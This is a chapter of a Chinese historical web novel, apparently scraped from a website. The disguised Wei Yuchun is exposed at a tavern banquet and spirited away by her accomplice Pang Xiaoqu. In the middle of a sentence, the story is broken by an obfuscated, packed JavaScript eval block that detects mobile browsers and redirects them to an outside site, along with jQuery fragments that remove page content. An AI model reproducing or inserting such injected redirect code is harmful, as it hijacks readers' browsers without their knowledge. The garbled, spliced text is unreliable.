元老板又一声令下,花厅外涌进来一大群身高体壮的汉子。
他们手里挥舞着闪着锃亮光泽的铁剑,目光凌厉,听着元老板的指挥,将花厅门口堵住,又仔仔细细在偌大的花厅里小心寻觅蛛丝马迹,唯恐漏掉任何一处奸细留下的线索。
在此之前,元老板还带进来过一大批丫鬟伙计,他们跟贵女们一样,都被汉子们的架势吓得手脚颤抖,可奈何无法对抗元老板的命令,他们只能呆在原地待命。
“都给我将诸位小姐照顾好了!”元老板再三强调。
丫鬟伙计们呜呜咽咽地点头,他们像无头的苍蝇一样在花厅里乱窜,纷纷拥到诸位贵女身侧,各自找一位贵女,张开手臂,将她们护在身后。
汉子们舞着刀剑,在花厅里踩着沉重的步子,震得厅内贵女脚底下的地板都在嗡嗡晃动。
最得稳住局势的金玉圆也候不下去了,她攥紧衣裙,拧眉交代:“元老板,倘若我们任何一位贵女出事,拿你试问!”
元老板被吓得冷汗飘飘然,他搓着袖子擦脸连连应“是”。
魏郁春扎在混乱的人群里,被焦急的气氛感染到,她不自然地像四周张望,心中暗道不妙。
若是庞小曲暴露了,牵连到她便坏了,但她也不确信这对她来说到底算不算好事,因为她和庞小曲是同类,对方的动作也许能帮她引走注意力,这不失为保住同伴的办法。
可一切尘埃未定,庞小曲又一直没与自己接上线,她如何暴露的,又如何藏得住身的,魏郁春一概不知。所以她不可能不慌乱。
众人都在忙活自己的事情,魏澜清无人管顾,还瘫在地上苦苦哀嚎,她的哀嚎声纵使再凄厉,都被厅内的喧嚣声盖住了大半。
她好似将魏郁春当作了眼中钉肉中刺,纵使厅内人潮拥杂,她的目光都无法从她身上移开半分,身子也慢慢爬向她。
“你是何人……你是何人!”
魏郁春绝望闭眼,似乎已经听得厌烦了。
这一切给本就心乱的她造成了更多困扰。她苦苦寻觅,终于在伙计、丫鬟、汉子、元老板这样的大锅炖里看到了熟悉的面庞。一个长得颇具男人相的、身着统一丫鬟服饰的高壮女子,正混在一帮丫鬟群里,装模作样地听着命令护着身后的贵女。
是庞小曲?!
本以为是她率先找到了她,但在魏郁春的目光都聚焦到她身上的时候,她才意识到庞小曲眸中暗含的深沉心机,貌似更快一步注意到她。人头攒动,好不容易捕捉到了庞小曲的目光,在一瞬间失焦,等眼前人流散到他处,庞小曲的身影却消失了。
一阵快风不知从何方袭来,强劲得厉害,并且明显是针对魏郁春的。
魏郁春根本就来不及反应这一切,她脸上的面纱就被风刮卷到不知那里去了。她定睛一看,才发现是一卷笺纸在方才从她耳侧飞过去了,所以这才引来了一大阵风过来。
一大卷笺纸落地,“噗通”一声,花厅哗然声顷刻安静,众人的目光都被吸引过来。
魏郁春连忙侧头过去,用手臂遮住暴露在外的面容,可她还是没来得及阻止什么,她的面容生得太过有特色,旁人只消瞥一眼便能立马判断出来——她不是钱雀!
席内虽没有与钱雀分外交好的女子,但有过一面之缘的少则两三个。两个贵女尖叫起来,声音尖利,轰得人耳膜都要鼓炸。
“她不是钱雀!她是假扮的!”
“我以前见过钱雀一面,根本不长这样!”
就算未曾见过钱雀的贵女,也分明看到了魏郁春面上光洁姣好的皮肤,哪里有什么烂脸的迹象?!
金玉圆膛目结舌。而一直帮忙说话的龚婷也怔住了:“你居然真的是奸细?!”
元老板大惊,忙挥人过去:“抓住她!”
魏澜清也看到了魏郁春面纱下的容貌,根本不是那贱人!她一时呆愣,说不出话来,口中疯疯癫癫地呢喃道:“我以为你是那个贱人!我以为你是她!”
后来听到诸人又说她也不是钱雀的时候,魏澜清又突然懵懵懂懂地笑起来:“我就知道她不是钱雀,我就知道!哈哈哈哈哈哈!!!”
闹局在魏澜清情绪饱满的哀嚎声和嬉闹声中越搅越乱,精彩纷呈。
整个花厅好似成了一处移步换景的宝地,几步一走,便能看到与众不同的画面,而每个人的表情都值得细究。
这一切发生得离奇而突然,魏郁春无处可逃,在诸人看她时惊恐万分的目光里,她只能竭尽全力将自己的面孔藏在衣袖后。元老板的人手冲过来,而她身后是一处墙,无路可去了,在她茫然的时刻,一只温热的大手自墙边一只花窗伸出来,抓住了她的手腕,她的力气抵抗不过他,一只手被抓过去,身子也往窗上倾斜,直到两只手都被神秘人攥紧,整个人都被揪了出去。
花厅中灯烛融融的视觉光晕猝然消失,外头午时甚好的晴光倾泻而下,魏郁春一时无法适应,眼睛被刺得发疼。
好不容易适应光亮后,她发现自己正身处于熟悉的室外花园里——二楼的空中花园,一时间意识迷幻,还以为自己在做梦。直到她发现衔接室内和花园的原来不仅又一扇扇屏风,还有墙壁上的几扇花窗。花窗里头的空间竟就是举办酒宴和诗会的花厅。魏郁春才发现其中的蹊跷。
她被庞小曲牢牢攥着。
凑得这么近,她才直观地感受到对方身材比远看还要结实。
庞小曲一心带着她逃跑,四处观望周遭情况,从空中花园辗转几遭,找到能直接跳下外部楼梯的地方。她只留了个侧脸给魏郁春。
庞小曲脸上施了粉黛,但实在是粗糙,好似整张脸都泡在了面粉里一样,层层叠叠,一耸动都能抖落簌簌的余粉来,她好似压根不会粉面,那眉毛描得像两条大黑蛆,口脂涂得溢出去很多,把人中都涂没了,发髻编得也歪歪斜斜,衣服
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447441|169444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看似穿得规整,实际上衣领不知往里收还是往外翻,简直是不修边幅——竟是连最基础的仪容仪表都收拾得一团糟,也不知这么多年来,是怎么在这赫赫有名的春桃酒楼混下来的。
魏郁春觉得匪夷所思的同时,也被这女子的身手吓到了。
此时庞小曲已经寻到了可以转移楼梯的地方,可此地高耸,与楼梯又无直接的衔接处,若要落地他处,便必须鼓起勇气从高处一跃而下。这种高度已经接近半个男人高,在南禺见过诸多世面的魏郁春见状,都忍不住蹙眉心惊,而她还没来及转换心绪,庞小曲就义无反顾地跳了下去。
她扶着外楼的楼梯抬眼看魏郁春,好似在无声催促她一起下来。
魏郁春讶然张口,抬起手指默默点了点自己,大为震撼,结果庞小曲高冷地给她点了个头,意思着——“没错,就是叫你一起跳下来,没叫别人。”
庞小曲见她不动,又点了点她身后,让她细听身后武夫汉子挥舞刀剑追赶过来的动静。
魏郁春咬咬牙,想到,罢了,庞小曲既是关阇彦安排的人,便定有能护她安全的法子。不管怎么说,只要不死,都总比被人抓住拷打的好。
她蹬着腿,跳下空中花园,在她看不到的视角盲区内,庞小曲竟早就为她准备好了一张用弹布搭好的“桥”,她即便稍有不慎,失了足,身子也会顺着“布桥”的斜坡下滑过去,庞小曲此时伸手接住魏郁春的小臂,将她拉到楼梯上。
楼上的汉子扶着空中花园的栏杆往下望,又恼又惊,口中啊呜啊呜地喊着“快追”。
魏郁春被庞小曲攥着,迅速从外置的楼梯向下踅去,穿过一片又一片的封顶廊庑,在吵闹的追逐声中跑出残影。春桃酒楼向来热闹,这自底层建到顶楼的华美旋梯,每日每夜不知要被多少名士贵族踏足多少遍,路过此街的百姓们皆已习以为常,他们听到了楼梯上踢踢踏踏、吵吵嚷嚷闹作一团的声响,不但不忧不惊,反而挑眉戏谑:“你瞧啊,今儿这春桃酒楼里不知住着何等尊客呢!竟是这般热闹呀!”
魏郁春与庞小曲飞快踏入车水马龙的街道内,浑水摸鱼,好似与其中人物融为一体。
眼看要离开春桃酒楼的地界,魏郁春才觉得有些不对劲。
关阇彦虽然说庞小曲是她在酒楼中的接应人,却没说酒宴事后,庞小曲要跟自己还要完成什么任务,还有要去什么除了春桃酒楼以外的地方……
关阇彦心思如黑水般沉,他若不多余交代,便意味着,他自己也没有这等安排的打算。
即便事出突然,比起外面他更不熟悉的地方,反而春桃酒楼更保险,毕竟最危险的地方才是最安全的地方不是吗?
她应该留在酒楼才是。
魏郁春看着庞小曲颇具目的性的前行动作,还有翻开衣领下半遮半掩的凸显出来的喉结……她心中的不安感越来越强烈,她冒着风头,问话:“庞小曲,你要带我去哪里?”